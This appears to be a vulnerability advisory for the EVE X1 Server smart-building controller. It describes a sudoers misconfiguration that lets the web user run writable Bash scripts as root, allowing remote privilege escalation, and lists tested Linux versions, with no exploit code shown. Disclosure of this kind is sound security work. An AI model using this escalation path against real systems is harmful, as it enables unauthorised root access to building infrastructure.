Summary: EVE is a smart home and building automation solution designed
for both residential and commercial environments, including malls, hotels,
restaurants, bars, gyms, spas, boardrooms, and offices. It enables comprehensive
control and monitoring of electrical installations through a highly customizable,
user-friendly interface.

EVE is a multi-protocol platform that integrates various systems within
a smart building to enhance comfort, security, safety, and energy efficiency.
Users can manage building functions via iPhone, iPad, Android devices, Windows
PCs, or Mac computers.

The EVE X1 Server is the dedicated hardware solution for advanced building
automation needs. Compact and powerful, it is ideal for apartments, small
to medium-sized homes, and smaller commercial installations. It is designed
to manage entire automation systems reliably and efficiently.

Desc: A misconfiguration in the sudoers file permits passwordless execution
of specific Bash shell scripts via sudo, exposing a critical privilege escalation
vulnerability. When such scripts are writable by a web-facing user (www-data) or
accessible through a command injection vector, an attacker can overwrite or replace
them with malicious payloads. Upon execution with sudo, these scripts run with
elevated privileges, allowing the attacker to gain full root access remotely.

Tested on: GNU/Linux 5.4.35 (armv7l)
           GNU/Linux 4.19.97 (armv7l)
           Armbian 20.02.1 Buster
